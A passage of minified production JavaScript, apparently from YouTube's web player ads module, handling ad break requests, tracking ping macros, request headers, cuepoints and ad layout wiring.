jvv(u)}T=RTD.exec(T);(T=T!=null&&T.length>=2?T[1]:"")&&e&&(A.user.credentialTransferTokens=[{token:T,scope:"VIDEO"}]);T={contentPlaybackContext:M};E={adBlock:Math.trunc(t.AD_BLOCK),params:E,breakIndex:l,breakPositionMs:m,clientPlaybackNonce:t.CPN,topLevelDomain:d,isProxyAdTagRequest:Z,context:A,adSignalsInfoString:T9(Z2(R.toString())),overridePlaybackContext:T};H!==void 0&&(E.cueProcessedMs=Math.round(H).toString());e&&(E.videoId=e);t.LIVE_TARGETING_CONTEXT&&(E.liveTargetingParams=t.LIVE_TARGETING_CONTEXT);
t.AD_BREAK_LENGTH&&(E.breakLengthMs=Math.trunc(t.AD_BREAK_LENGTH*1E3).toString());I&&(E.driftFromHeadMs=I.toString());E.currentMediaTimeMs=Math.round(x.player.getCurrentTime(1)*1E3);(x=x.player.getGetAdBreakContext())&&(E.getAdBreakContext=x);return E};
SIX=function(){Jo.apply(this,arguments)};
cQD=function(x,T,t,u,H){var I=t.V6;var E=t.QI;var Z=x.player.Y().GC,e=0;t.cueProcessedMs&&E&&!I&&(t=E.end-E.start,t>0&&(e=Math.floor(t/1E3)));var l={AD_BLOCK:H,AD_BREAK_LENGTH:I?I.U0:e,AUTONAV_STATE:N1(x.player.Y()),CA_TYPE:"image",CPN:x.player.getVideoData(1).clientPlaybackNonce,DRIFT_FROM_HEAD_MS:x.player.Bm()*1E3,LACT:bH(),LIVE_INDEX:I?x.j++:1,LIVE_TARGETING_CONTEXT:I&&I.context?I.context:"",MIDROLL_POS:E?Math.round(E.start/1E3):0,MIDROLL_POS_MS:E?Math.round(E.start):0,VIS:x.player.getVisibilityState(),
P_H:x.player.bG().xL().height,P_W:x.player.bG().xL().width,YT_REMOTE:Z?Z.join(","):""},m=q2(Er);Object.keys(m).forEach(function(d){m[d]!=null&&(l[d.toUpperCase()]=m[d].toString())});
u!==""&&(l.BISCOTTI_ID=u);u={};I6(T)&&(u.sts="20144",(x=x.player.Y().forcedExperiments)&&(u.forced_experiments=x));return $D(g.h_(T,l),u)};
YIC=function(x,T){var t=x.player.Y(),u,H=(u=x.player.getVideoData(1))==null?void 0:u.oauthToken;return g.sP(t,H).then(function(I){if(I&&iP()){var E=a9();gh(E,I)}return g.QK(x.player.qm(E),T,"/youtubei/v1/player/ad_break").then(function(Z){return Z})})};
Uof=function(x){this.RU=x};
bgf=function(x){this.U=x};
rQm=function(x){this.RU=x};
kJf=function(x){g.W.call(this);this.C=x;this.Ah=zTJ(this)};
zTJ=function(x){var T=new qC5(x.C.au);g.y(x,T);x=g.S([new Uof(x.C.RU),new bgf(x.C.U),new rQm(x.C.RU),new kQ(x.C.Y$,x.C.HB),new hd,new G_(x.C.LC,x.C.MC,x.C.RU),new FS,new z_]);for(var t=x.next();!t.done;t=x.next())ZPJ(T,t.value);x=g.S(["adInfoDialogEndpoint","adFeedbackEndpoint"]);for(t=x.next();!t.done;t=x.next())vC(T,t.value,function(){});
return T};
C6=function(x){var T=x.Bv,t=x.Lf;x=x.xx;var u=new rxq,H={kz:new H25(T.get(),t),Lf:t};return{NJ:new sk(t,x,T,H),context:H,WM:u}};
QN=function(x,T,t,u,H){g.W.call(this);this.Z=T;this.IU=t;this.Bv=u;this.CF=H;this.listeners=[];var I=new bj(this);g.y(this,I);I.V(x,"internalAbandon",this.uT);this.addOnDisposeCallback(function(){g.zx(I)})};
p6=function(x){this.U=x;this.adVideoId=this.C=this.videoId=this.adCpn=this.contentCpn=null;this.T=!0;this.Z=this.j=!1;this.adFormat=null;this.K="AD_PLACEMENT_KIND_UNKNOWN";this.actionType="unknown_type";this.videoStreamType="VIDEO_STREAM_TYPE_VOD"};
F1H=function(x){x.contentCpn=null;x.adCpn=null;x.videoId=null;x.adVideoId=null;x.adFormat=null;x.K="AD_PLACEMENT_KIND_UNKNOWN";x.actionType="unknown_type";x.j=!1;x.Z=!1};
hT3=function(x,T){x=g.S(T);for(T=x.next();!T.done;T=x.next())if((T=T.value.renderer)&&(T.instreamVideoAdRenderer||T.linearAdSequenceRenderer||T.sandwichedLinearAdRenderer||T.instreamSurveyAdRenderer)){a3("ad_i");g.gO({isMonetized:!0});break}};
vED=function(x){var T;(T=x.U.getVideoData(1))!=null&&T.uG&&(x.Z=!1,T={},x.C&&x.videoId&&(T.cttAuthInfo={token:x.C,videoId:x.videoId}),BM("video_to_ad",T))};
QR=function(x){x.Z=!1;var T={};x.C&&x.videoId&&(T.cttAuthInfo={token:x.C,videoId:x.videoId});BM("ad_to_video",T);VU3(x)};
VU3=function(x){if(x.j)if(x.K==="AD_PLACEMENT_KIND_START"&&x.actionType==="video_to_ad")GE("video_to_ad");else{var T={adBreakType:c0(x.K),playerType:"LATENCY_PLAYER_HTML5",playerInfo:{preloadType:"LATENCY_PLAYER_PRELOAD_TYPE_PREBUFFER"},videoStreamType:x.videoStreamType};x.actionType==="ad_to_video"?(x.contentCpn&&(T.targetCpn=x.contentCpn),x.videoId&&(T.targetVideoId=x.videoId)):(x.adCpn&&(T.targetCpn=x.adCpn),x.adVideoId&&(T.targetVideoId=x.adVideoId));x.adFormat&&(T.adType=x.adFormat);x.contentCpn&&
(T.clientPlaybackNonce=x.contentCpn);x.videoId&&(T.videoId=x.videoId);x.adCpn&&(T.adClientPlaybackNonce=x.adCpn);x.adVideoId&&(T.adVideoId=x.adVideoId);g.gO(T,x.actionType)}};
OJ=function(x){g.W.call(this);this.U=x;this.C=new Map;this.Z=new bj(this);g.y(this,this.Z);this.Z.V(this.U,g.$m("ad"),this.onCueRangeEnter,this);this.Z.V(this.U,g.Hv("ad"),this.onCueRangeExit,this)};
GJf=function(x,T,t,u,H){g.te.call(this,T,t,{id:x,namespace:"ad",priority:H,visible:u})};
f6=function(x){this.U=x};
wP=function(x){this.U=x;g.Z9(this.U.Y().experiments,"tv_pacf_logging_sample_rate")};
YX=function(x,T){T=T===void 0?!1:T;return x.U.Y().B("html5_ssap_force_ads_ctmp")?!0:(T||x.U.Y().AM())&&x.U.Y().B("html5_ssap_pacf_qoe_ctmp")};
K6=function(x){var T,t;return(t=(T=x.U.getVideoData(1))==null?void 0:g.pB(T))!=null?t:!1};
pG=function(x,T){return x.U.Y().B(T)};
L1i=function(x){return x.U.Y().B("substitute_ad_cpn_macro_in_ssdai")};
Ss=function(x){var T,t,u;return((T=x.U.getVideoData(1).getPlayerResponse())==null?void 0:(t=T.playerConfig)==null?void 0:(u=t.daiConfig)==null?void 0:u.enableServerStitchedDai)||!1};
MtC=function(x){return x.U.Y().B("html5_enable_vod_slar_with_notify_pacf")};
nEH=function(x){return x.U.Y().B("html5_recognize_predict_start_cue_point")};
xs=function(x){return x.U.Y().experiments.aU("enable_desktop_player_underlay")};
anf=function(x){return x.U.Y().experiments.aU("html5_load_empty_player_in_media_break_sub_lra")};
Li=function(x){return x.U.Y().experiments.aU("html5_load_ads_instead_of_cue")};
ni=function(x){return x.U.Y().experiments.aU("html5_preload_ads")};
KF=function(x){return x.U.Y().experiments.aU("enable_ads_control_flow_deterministic_id_generation")};
gEH=function(x){return x.U.Y().experiments.aU("enable_desktop_discovery_video_abandon_pings")||g.p1(x.U.Y())};
Bfq=function(x){return x.U.Y().experiments.aU("enable_progres_commands_lr_feeds")};
W1f=function(x){return x.U.Y().experiments.aU("html5_cuepoint_identifier_logging")};
Doq=function(x){switch(x){case "audio_audible":return"adaudioaudible";case "audio_measurable":return"adaudiomeasurable";case "fully_viewable_audible_half_duration_impression":return"adfullyviewableaudiblehalfdurationimpression";case "measurable_impression":return"adactiveviewmeasurable";case "overlay_unmeasurable_impression":return"adoverlaymeasurableimpression";case "overlay_unviewable_impression":return"adoverlayunviewableimpression";case "overlay_viewable_end_of_session_impression":return"adoverlayviewableendofsessionimpression";
case "overlay_viewable_immediate_impression":return"adoverlayviewableimmediateimpression";case "viewable_impression":return"adviewableimpression";default:return null}};
yQC=function(){g.$B.call(this);var x=this;this.C={};this.addOnDisposeCallback(function(){for(var T=g.S(Object.keys(x.C)),t=T.next();!t.done;t=T.next())delete x.C[t.value]})};
Xy=function(){if(Nff===null){Nff=new yQC;Fr(cs).Z="b";var x=Fr(cs),T=mf(x)=="h"||mf(x)=="b",t=!(L$(),!1);T&&t&&(x.T=!0,x.D=new vL3)}return Nff};
JQC=function(x,T,t){x.C[T]=t};
CM3=function(x){switch(x){case "abandon":case "unmuted_abandon":return"abandon";case "active_view_fully_viewable_audible_half_duration":return"fully_viewable_audible_half_duration_impression";case "active_view_measurable":return"measurable_impression";case "active_view_viewable":return"viewable_impression";case "audio_audible":return"audio_audible";case "audio_measurable":return"audio_measurable";case "complete":case "unmuted_complete":return"complete";case "end_fullscreen":case "unmuted_end_fullscreen":return"exitfullscreen";
case "first_quartile":case "unmuted_first_quartile":return"firstquartile";case "fullscreen":case "unmuted_fullscreen":return"fullscreen";case "impression":case "unmuted_impression":return"impression";case "midpoint":case "unmuted_midpoint":return"midpoint";case "mute":case "unmuted_mute":return"mute";case "pause":case "unmuted_pause":return"pause";case "progress":case "unmuted_progress":return"progress";case "resume":case "unmuted_resume":return"resume";case "swipe":case "skip":case "unmuted_skip":return"skip";
case "start":case "unmuted_start":return"start";case "third_quartile":case "unmuted_third_quartile":return"thirdquartile";case "unmute":case "unmuted_unmute":return"unmute";default:return null}};
xC=function(x,T,t){this.IU=x;this.U=T;this.Lf=t;this.Z=new Set;this.C=new Map;Xy().subscribe("adactiveviewmeasurable",this.uL,this);Xy().subscribe("adfullyviewableaudiblehalfdurationimpression",this.Lu,this);Xy().subscribe("adviewableimpression",this.xR,this);Xy().subscribe("adaudioaudible",this.Ku,this);Xy().subscribe("adaudiomeasurable",this.dw,this)};
o5=function(x,T,t){var u=t.Fl,H=t.Eb,I=t.listener,E=t.zr;t=t.dR===void 0?!1:t.dR;if(x.C.has(T))E3("Unexpected registration of layout in LidarApi");else{if(E){if(x.Z.has(E))return;x.Z.add(E)}x.C.set(T,I);iO(L$().Ru,"fmd",1);y8H(Fr(cs),u);var Z=t?T:void 0;JQC(Xy(),T,{ES:function(){if(!H)return{};var e=x.U.getPresentingPlayerType(!0),l;return(l=x.U.getVideoData(e))!=null&&l.isAd()?{currentTime:x.IU.get().getCurrentTimeSec(e,!1,Z),duration:H,isPlaying:TB(x.IU.get(),e).isPlaying(),isVpaid:!1,isYouTube:!0,
volume:x.IU.get().isMuted()?0:x.IU.get().getVolume()/100}:{}}})}};
tz=function(x,T){x.C.has(T)?(x.C.delete(T),delete Xy().C[T]):E3("Unexpected unregistration of layout in LidarApi")};
Qvf=function(x,T){if(x.U.isLifaAdPlaying()){var t=x.U.Ny(!0,!0);x.BV(T,t.width*.5*1.1,t.height*.25*1.1,t.width*.5*.9,t.height*.5*.9)}};
fnJ=function(x,T,t){var u={};pgV(x,u,T,t);Ogq(u);u.LACT=sg(function(){return bH().toString()});
u.VIS=sg(function(){return x.getVisibilityState().toString()});
u.SDKV="h.3.0";u.VOL=sg(function(){return x.isMuted()?"0":Math.round(x.getVolume()).toString()});
u.VED="";return u};
wgv=function(x,T){var t={};if(T)return t;if(!x.kind)return g.vW(Error("AdPlacementConfig without kind")),t;if(x.kind==="AD_PLACEMENT_KIND_MILLISECONDS"||x.kind==="AD_PLACEMENT_KIND_CUE_POINT_TRIGGERED"){if(!x.adTimeOffset||!x.adTimeOffset.offsetStartMilliseconds)return g.vW(Error("malformed AdPlacementConfig")),t;t.MIDROLL_POS=sg(Ee(Math.round(xO(x.adTimeOffset.offsetStartMilliseconds)/1E3).toString()))}else t.MIDROLL_POS=sg(Ee("0"));return t};
sg=function(x){return{toString:function(){return x()}}};
K1m=function(x,T,t){function u(Z,e){(e=t[e])&&(I[Z]=e)}
function H(Z,e){(e=t[e])&&(I[Z]=E(e))}
if(!t||g.z0(t))return x;var I=Object.assign({},x),E=T?encodeURIComponent:function(Z){return Z};
H("DV_VIEWABILITY","doubleVerifyViewability");H("IAS_VIEWABILITY","integralAdsViewability");H("MOAT_INIT","moatInit");H("MOAT_VIEWABILITY","moatViewability");u("GOOGLE_VIEWABILITY","googleViewability");u("VIEWABILITY","viewability");return I};
pgV=function(x,T,t,u){T.CPN=sg(function(){var H;(H=x.getVideoData(1))?H=H.clientPlaybackNonce:(g.Vh(Error("Video data is null.")),H=null);return H});
T.AD_MT=sg(function(){if(u!=null)var H=u;else{var I=t;x.Y().B("html5_ssap_use_cpn_to_get_time")||(I=void 0);if(x.Y().B("enable_h5_shorts_ad_fill_ad_mt_macro")||x.Y().B("enable_desktop_discovery_pings_ad_mt_macro")||g.p1(x.Y())){var E=x.getPresentingPlayerType(!0),Z;H=((Z=x.getVideoData(E))==null?0:Z.isAd())?XgD(x,E,I):0}else H=XgD(x,2,I)}return Math.round(Math.max(0,H*1E3)).toString()});
T.MT=sg(function(){return Math.round(Math.max(0,x.getCurrentTime(1,!1)*1E3)).toString()});
T.P_H=sg(function(){return x.bG().xL().height.toString()});
T.P_W=sg(function(){return x.bG().xL().width.toString()});
T.PV_H=sg(function(){return x.bG().getVideoContentRect().height.toString()});
T.PV_W=sg(function(){return x.bG().getVideoContentRect().width.toString()})};
Ogq=function(x){x.CONN=sg(Ee("0"));x.WT=sg(function(){return Date.now().toString()})};
XgD=function(x,T,t){return t!==void 0?x.getCurrentTime(T,!1,t):x.getCurrentTime(T,!1)};
xbJ=function(){};
Tei=function(x,T,t,u,H){var I,E,Z,e,l,m,d,M,A,R,Y,b,z;g.G(function(F){switch(F.C){case 1:I=!!T.scrubReferrer;E=g.h_(T.baseUrl,K1m(t,I,u));Z={};if(!T.headers){F.lG(2);break}e=x.K();if(!e.C){l=e.getValue();F.lG(3);break}return g.v(F,e.C,4);case 4:l=F.Z;case 3:m=l;d=g.S(T.headers);for(M=d.next();!M.done;M=d.next())switch(A=M.value,A.headerType){case "VISITOR_ID":g.pr("VISITOR_DATA")&&(Z["X-Goog-Visitor-Id"]=g.pr("VISITOR_DATA"));break;case "EOM_VISITOR_ID":g.pr("EOM_VISITOR_DATA")&&(Z["X-Goog-EOM-Visitor-Id"]=
g.pr("EOM_VISITOR_DATA"));break;case "USER_AUTH":m&&(Z.Authorization="Bearer "+m);break;case "PLUS_PAGE_ID":(R=x.T())&&(Z["X-Goog-PageId"]=R);break;case "AUTH_USER":Y=x.C();!m&&Y&&(Z["X-Goog-AuthUser"]=Y);break;case "DATASYNC_ID":if(b=void 0,(b=x.j())==null?0:b.aU("enable_datasync_id_header_in_web_vss_pings"))z=x.Z(),Hi(E)&&g.pr("LOGGED_IN")&&z&&(Z["X-YouTube-DataSync-Id"]=z)}"X-Goog-EOM-Visitor-Id"in Z&&"X-Goog-Visitor-Id"in Z&&delete Z["X-Goog-Visitor-Id"];case 2:g.Be(E,void 0,I,Object.keys(Z).length!==
0?Z:void 0,"",!0,H),g.RV(F)}})};
on5=function(x,T,t,u,H){this.K=x;this.T=T;this.C=t;this.Z=u;this.j=H};
tTH=function(x,T){this.C=x;this.Lf=T};
ut=function(x,T,t,u,H,I,E){var Z=Z===void 0?new on5(function(){var e=x.Y(),l=x.getVideoData(1);return g.sP(e,l?g.Cm(l):"")},function(){return x.Y().pageId},function(){return x.Y().uG},function(){var e;
return(e=x.Y().datasyncId)!=null?e:""},function(){return x.Y().experiments}):Z;
this.U=x;this.Z=T;this.H9=t;this.Bv=u;this.NJ=H;this.Lf=I;this.WM=E;this.K=Z;this.AN=null;this.C=new Map;this.j=new tTH(Z,this.Lf)};
u15=function(x,T,t,u,H){var I=F0(x.Z.get(),t);I?(t=Fv(x,skH(I),I,void 0,void 0,u),T.hasOwnProperty("baseUrl")?x.K.send(T,t):x.j.send(T,t,{},H)):E3("Trying to ping from an unknown layout",void 0,void 0,{layoutId:t})};
mSf=function(x,T,t,u,H,I){u=u===void 0?[]:u;var E=F0(x.Z.get(),T);if(E){var Z=x.H9.get().bf(T,t),e=Fv(x,skH(E),E,H,I);u.forEach(function(l,m){l.baseUrl&&(x.j.send(l.baseUrl,e,Z,l.attributionSrcMode),l.serializedAdPingMetadata&&x.NJ.gG("ADS_CLIENT_EVENT_TYPE_PING_DISPATCHED",void 0,void 0,void 0,void 0,E,new f13(l,m),void 0,void 0,E.adLayoutLoggingData))})}else E3("Trying to track from an unknown layout.",void 0,void 0,{layoutId:T,
trackingType:t})};
cv=function(x,T){x.U.sendVideoStatsEngageEvent(T,void 0,2)};
Tf=function(x,T){g.io("adsClientStateChange",T)};
$bX=function(x,T){x.C.has(T.fq())?E3("Trying to register an existing AdErrorInfoSupplier."):x.C.set(T.fq(),T)};
HJX=function(x,T){x.C.delete(T.fq())||E3("Trying to unregister a AdErrorInfoSupplier that has not been registered yet.")};
sO=function(x,T,t){typeof t==="string"?x.U.getVideoData(1).q2(T,t):x.U.getVideoData(1).kc(T,t)};
skH=function(x){var T=uS(x.clientMetadata,"metadata_type_ad_placement_config");x=uS(x.clientMetadata,"metadata_type_media_sub_layout_index");return{adPlacementConfig:T,AZ:x}};
Fv=function(x,T,t,u,H,I){var E=t?iJV(x):{},Z=t?IeH(x,t.layoutId):{},e=Enq(x),l,m=H!=null?H:(l=AH(x.Bv.get(),2))==null?void 0:l.clientPlaybackNonce;x.U.Y().B("enable_player_logging_lr_home_infeed_ads")&&!m&&(m=AH(x.Bv.get(),1).clientPlaybackNonce);H=void 0;if(t){var d;if((d=x.WM.C.get(t.layoutId))==null?0:d.dR)H=t.layoutId}d={};x=Object.assign({},fnJ(x.U,H,u),wgv(T.adPlacementConfig,(t==null?void 0:t.renderingContent)!==void 0),Z,E,e,(d.FINAL=sg(function(){return"1"}),d.AD_CPN=sg(function(){return m||
""}),d));
(t==null?void 0:t.renderingContent)!==void 0||(x.SLOT_POS=sg(function(){return(T.AZ||0).toString()}));
t={};I=Object.assign({},x,I);x=g.S(Object.values(q$q));for(u=x.next();!u.done;u=x.next())u=u.value,E=I[u],E!=null&&E.toString()!=null&&(t[u]=E.toString());return t};
iJV=function(x){var T={},t,u=(t=x.AN)==null?void 0:t.Uk/1E3;u!=null&&(T.SURVEY_ELAPSED_MS=sg(function(){return Math.round(u*1E3).toString()}));
T.SURVEY_LOCAL_TIME_EPOCH_S=sg(function(){return Math.round(Date.now()/1E3).toString()});
return T};
IeH=function(x,T){x=x.C.get(T);if(!x)return{};x=x.VK();if(!x)return{};T={};return T.YT_ERROR_CODE=x.xE.toString(),T.ERRORCODE=x.b7.toString(),T.ERROR_MSG=x.errorMessage,T};
Enq=function(x){var T={},t=x.U.getVideoData(1);T.ASR=sg(function(){var u;return(u=t==null?void 0:t.zG)!=null?u:null});
T.EI=sg(function(){var u;return(u=t==null?void 0:t.eventId)!=null?u:null});
return T};
$C=function(x,T,t){g.W.call(this);this.U=x;this.y3=T;this.Lf=t;this.listeners=[];this.FK=null;this.xt=new Map;T=new g.nj(this);g.y(this,T);T.V(x,"videodatachange",this.PDj);T.V(x,"serverstitchedvideochange",this.JoZ);this.YQ=AH(this)};
AH=function(x,T){var t=x.U.getVideoData(T);return t?x.b4(t,T||x.U.getPresentingPlayerType(!0)):null};
ZJf=function(x,T,t){var u=x.b4(T,t);x.YQ=u;x.listeners.forEach(function(H){H.o0(u)})};
jkD=function(x){switch(x){case 1:return 1;case 2:return 2;case 3:return 3;case 4:return 4;case 5:return 5;case 6:return 6;case 7:return 7}};
Hh=function(x,T,t){g.W.call(this);this.U=x;this.Bv=T;this.Lf=t;this.listeners=[];this.eG=[];this.C=function(){E3("Called 'doUnlockPreroll' before it's initialized.")};
T=new bj(this);t=new g.nj(this);g.y(this,t);g.y(this,T);T.V(x,"progresssync",this.uaY);T.V(x,"presentingplayerstatechange",this.E6Q);T.V(x,"fullscreentoggled",this.onFullscreenToggled);T.V(x,"onVolumeChange",this.onVolumeChange);T.V(x,"minimized",this.M0);T.V(x,"overlayvisibilitychange",this.VY);T.V(x,"shortsadswipe",this.JI);T.V(x,"resize",this.C2);t.V(x,g.$m("appad"),this.AI)};
it=function(x){K6(x.Lf.get())||x.C()};
eCm=function(x,T){x.eG=x.eG.filter(function(t){return t!==T})};
I5=function(x,T,t){return x.getCurrentTimeSec(T,t)};
le3=function(x,T){var t;T=(t=x.Bv.get().xt.get(T))!=null?t:null;if(T===null)return E3("Expected ad video start time on playback timeline"),0;x=x.U.getCurrentTime(2,!0);return x<T?0:x-T};
TB=function(x,T){return x.U.getPlayerStateObject(T)};
mbv=function(x){var T=x.U.bG().xL();x=x.U.Ny(!0,!0);return T.height-(x.height+x.top)};
db3=function(x){x.U.cueVideoByPlayerVars({videoId:"empty_video"},2)};
BJ4=function(x,T){var t=x.U.Y();g.VZ(t)||t.controlsType!=="3"||x.U.bG().Pe(T)};
Eg=function(x,T){g.uY(x.U.getRootNode(),T)};
qs=function(x,T){g.H$(x.U.getRootNode(),T)};
MT3=function(x,T,t,u,H){g.W.call(this);var I=this,E=Wq(function(){return new wZ(I.Lf)});
g.y(this,E);var Z=Wq(function(){return new X0(E,I.Lf)});
g.y(this,Z);var e=Wq(function(){return new zz});
g.y(this,e);u=Wq(function(){return new bn(x)});
g.y(this,u);var l=Wq(function(){return new xI(E,Z,I.Lf)});
g.y(this,l);var m=Wq(function(){return new uk});
g.y(this,m);this.Rf=Wq(function(){return new yx(H)});
g.y(this,this.Rf);this.MU=Wq(function(){return new p6(T)});
g.y(this,this.MU);this.Gs=Wq(function(){return new OJ(T)});
g.y(this,this.Gs);this.au=Wq(function(){return new f6(T)});
g.y(this,this.au);this.Lf=Wq(function(){return new wP(T)});
g.y(this,this.Lf);var d=Wq(function(){return new jd(I.Lf)});
g.y(this,d);var M=Wq(function(){return new MT(E,l,Z,I.Lf,d,null,null,null,null)});
g.y(this,M);this.Bv=Wq(function(){return new $C(T,m,I.Lf)});
g.y(this,this.Bv);var A=C6({Bv:this.Bv,Lf:this.Lf,xx:d}),R=A.context,Y=A.WM;this.NJ=A.NJ;this.IU=Wq(function(){return new Hh(T,I.Bv,I.Lf)});
g.y(this,this.IU);this.H9=Wq(function(){return new xC(I.IU,T,I.Lf)});
g.y(this,this.H9);this.RU=Wq(function(){return new ut(T,e,I.H9,I.Bv,I.NJ,I.Lf,Y)});
g.y(this,this.RU);this.rb=new U8(u,M,t,this.Lf,x,this.Bv,this.IU,this.MU);g.y(this,this.rb);var b=new QN(T,this.rb,this.IU,this.Bv);this.qf=Wq(function(){return b});
this.P1=b;this.pC=new rZ(u,l,this.Gs,this.qf,R);g.y(this,this.pC);this.f4=new gz(this.Lf,u,l,M,this.Bv,this.pC,t);g.y(this,this.f4);this.q0={ZW:new Map,kf:new Map,UC:new Map,HV:new Map,BY:new Map};this.listeners=[];this.TH={f4:this.f4,MC:this.Lf.get(),JQ:this.Rf.get(),LH:this.IU.get(),rb:this.rb,lQ:E.get(),JT:null,HB:{Gb:function(){}},
Y$:e.get(),LC:this.Bv.get()}};
ZV=function(x,T){g.W.call(this);this.PB=T;this.PB.get().addListener(this)};
j4=function(x){this.C=x};
AY3=function(x,T){if(!x)return{h9:[],adSlots:[],WI:!0,ssdaiAdsConfig:void 0};x.trackingParams&&Ff(x.trackingParams);if(x.adThrottled)return{h9:[],adSlots:[],WI:!0,ssdaiAdsConfig:void 0};var t,u=(t=x.adSlots)!=null?t:[],H;t=(H=x.playerAds)!=null?H:[];if(!(t&&t.length||u.length))return{h9:[],adSlots:u,WI:!1,ssdaiAdsConfig:void 0};H=t.map(function(E){return E.adPlacementRenderer}).filter(function(E){return!(!E||!E.renderer)});
if(!H.length&&!u.length)return{h9:[],adSlots:u,WI:!1,ssdaiAdsConfig:void 0};if(T.end>0){var I=T.end.toString();H.forEach(function(E){(E=E.config&&E.config.adPlacementConfig)&&E.kind==="AD_PLACEMENT_KIND_MILLISECONDS"&&E.adTimeOffset&&E.adTimeOffset.offsetEndMilliseconds==="-1"&&E.adTimeOffset.offsetEndMilliseconds!==I&&(E.adTimeOffset.offsetEndMilliseconds=I)});
u.map(function(E){return g.N(E,Bb)}).forEach(function(E){var Z;
(E=E==null?void 0:(Z=E.slotEntryTrigger)==null?void 0:Z.mediaTimeRangeTrigger)&&E.offsetEndMilliseconds==="-1"&&(E.offsetEndMilliseconds=I)})}return{h9:H,
adSlots:u,WI:!1,ssdaiAdsConfig:x.ssdaiAdsConfig}};
e4=function(x){g.W.call(this);this.U=x;this.listeners=[];this.C=new bj(this);g.y(this,this.C);this.C.V(this.U,"aduxclicked",this.onAdUxClicked);this.C.V(this.U,"aduxmouseover",this.x9);this.C.V(this.U,"aduxmouseout",this.u$);this.C.V(this.U,"muteadaccepted",this.sfc)};
RCm=function(x,T,t){T=g.r7(T,function(u){return new a_J(u,t,u.id)});
x.U.XW("onAdUxUpdate",T)};
lt=function(x,T){x=g.S(x.listeners);for(var t=x.next();!t.done;t=x.next())T(t.value)};
mR=function(x,T){this.Z=x;this.j=T===void 0?!1:T;this.C={}};
Pa3=function(x,T){var t=x.startSecs+x.U0;t=t<=0?null:t;if(t===null)return null;switch(x.event){case "start":case "continue":case "stop":break;case "predictStart":if(T)break;return null;default:return null}T=Math.max(x.startSecs,0);return{E2:new SW(T,t),G9m:new Wt(T,t-T,x.context,x.identifier,x.event,x.C)}};
S$D=function(){this.C=[]};
ed3=function(x,T,t){var u=g.ig(x.C,T);if(u>=0)return T;T=-u-1;return T>=x.C.length||x.C[T]>t?null:x.C[T]};
dW=function(x,T,t){g.W.call(this);this.U=x;this.Lf=T;this.RU=t;this.listeners=[];this.K=!1;this.SB=[];this.C=null;this.T=new mR(this,nEH(T.get()));this.j=new S$D;this.Z=null};
cYf=function(x,T){x.SB.push(T);for(var t=!1,u=g.S(x.listeners),H=u.next();!H.done;H=u.next())t=H.value.mW(T)||t;x.K=t;W1f(x.Lf.get())&&sO(x.RU.get(),"onci","cpi."+T.identifier+";cpe."+T.event+";cps."+T.startSecs+";cbi."+t)};
Ub3=function(x,T){Tf(x.RU.get(),{cuepointTrigger:{event:Y$V(T.event),cuepointId:T.identifier,totalCueDurationMs:T.U0*1E3,playheadTimeMs:T.C,cueStartTimeMs:T.startSecs*1E3,cuepointReceivedTimeMs:Date.now(),contentCpn:x.U.getVideoData(1).clientPlaybackNonce}})};
Y$V=function(x){switch(x){case "unknown":return"CUEPOINT_EVENT_UNKNOWN";case "start":return"CUEPOINT_EVENT_START";case "continue":return"CUEPOINT_EVENT_CONTINUE";case "stop":return"CUEPOINT_EVENT_STOP";case "predictStart":return"CUEPOINT_EVENT_PREDICT_START";default:return $Z(x,"Unexpected cuepoint event")}};
Ms=function(x){this.U=x};
bJJ=function(x,T){x.U.cueVideoByPlayerVars(T,2)};
Az=function(x){this.U=x};
R5=function(x){this.U=x};
rY5=function(x){switch(x){case 1:return 1;case 2:return 2;case 3:return 3;case 4:return 4;case 5:return 5;case 6:return 6;case 7:return 7;default:$Z(x,"unknown transitionReason")}};
zCH=function(x){this.U=x};
kNJ=function(x,T,t,u,H){g.W.call(this);var I=this,E=Wq(function(){return new wZ(I.Lf)});
g.y(this,E);var Z=Wq(function(){return new X0(E,I.Lf)});
g.y(this,Z);var e=Wq(function(){return new zz});
g.y(this,e);var l=Wq(function(){return new bn(x)});
g.y(this,l);var m=Wq(function(){return new xI(E,Z,I.Lf)});
g.y(this,m);var d=Wq(function(){return new uk});
g.y(this,d);this.UF=Wq(function(){return new e4(T)});
g.y(this,this.UF);this.Rf=Wq(function(){return new yx(H)});
g.y(this,this.Rf);this.MU=Wq(function(){return new p6(T)});
g.y(this,this.MU);this.Gs=Wq(function(){return new OJ(T)});
g.y(this,this.Gs);this.EY=Wq(function(){return new Ms(T)});
g.y(this,this.EY);this.au=Wq(function(){return new f6(T)});
g.y(this,this.au);this.Lf=Wq(function(){return new wP(T)});
g.y(this,this.Lf);var M=Wq(function(){return new j4(u)});
g.y(this,M);var A=Wq(function(){return new jd(I.Lf)});
g.y(this,A);this.Ai=Wq(function(){return new Az(T)});
g.y(this,this.Ai);this.PB=Wq(function(){return new CG});
g.y(this,this.PB);this.Bv=Wq(function(){return new $C(T,d,I.Lf)});
g.y(this,this.Bv);var R=C6({Bv:this.Bv,Lf:this.Lf,xx:A}),Y=R.context,b=R.WM;this.NJ=R.NJ;this.CF=Wq(function(){return new dW(T,I.Lf,I.RU)});
g.y(this,this.CF);this.Iu=Wq(function(){return new R5(T)});
g.y(this,this.Iu);this.IU=Wq(function(){return new Hh(T,I.Bv,I.Lf)});
g.y(this,this.IU);R=Wq(function(){return new MT(E,m,Z,I.Lf,A,"SLOT_TYPE_ABOVE_FEED",I.IU,I.UU,I.wN)});
g.y(this,R);this.JR=Wq(function(){return new Qx(I.Lf)});
this.H9=Wq(function(){return new xC(I.IU,T,I.Lf)});
g.y(this,this.H9);this.RU=Wq(function(){return new ut(T,e,I.H9,I.Bv,I.NJ,I.Lf,b)});
g.y(this,this.RU);this.wE=new Ys(cA,Ph,function(F,V,B,D){return XA(Z.get(),F,V,B,D)},l,m,Z,A,this.Lf,this.Bv);
g.y(this,this.wE);this.rb=new U8(l,R,t,this.Lf,x,this.Bv,this.IU,this.MU);g.y(this,this.rb);var z=new QN(T,this.rb,this.IU,this.Bv,this.CF);this.qf=Wq(function(){return z});
this.P1=z;this.UU=new PA(l,m,this.qf,this.CF,this.IU,this.Lf,this.RU,this.Iu);g.y(this,this.UU);this.pC=new rZ(l,m,this.Gs,this.qf,Y);g.y(this,this.pC);this.f4=new gz(this.Lf,l,m,R,this.Bv,this.pC,t);g.y(this,this.f4);this.dE=Wq(function(){return new ea(M,Z,A,I.Lf,I.RU,I.IU,I.Iu)});
g.y(this,this.dE);this.y9=Wq(function(){return new lB});
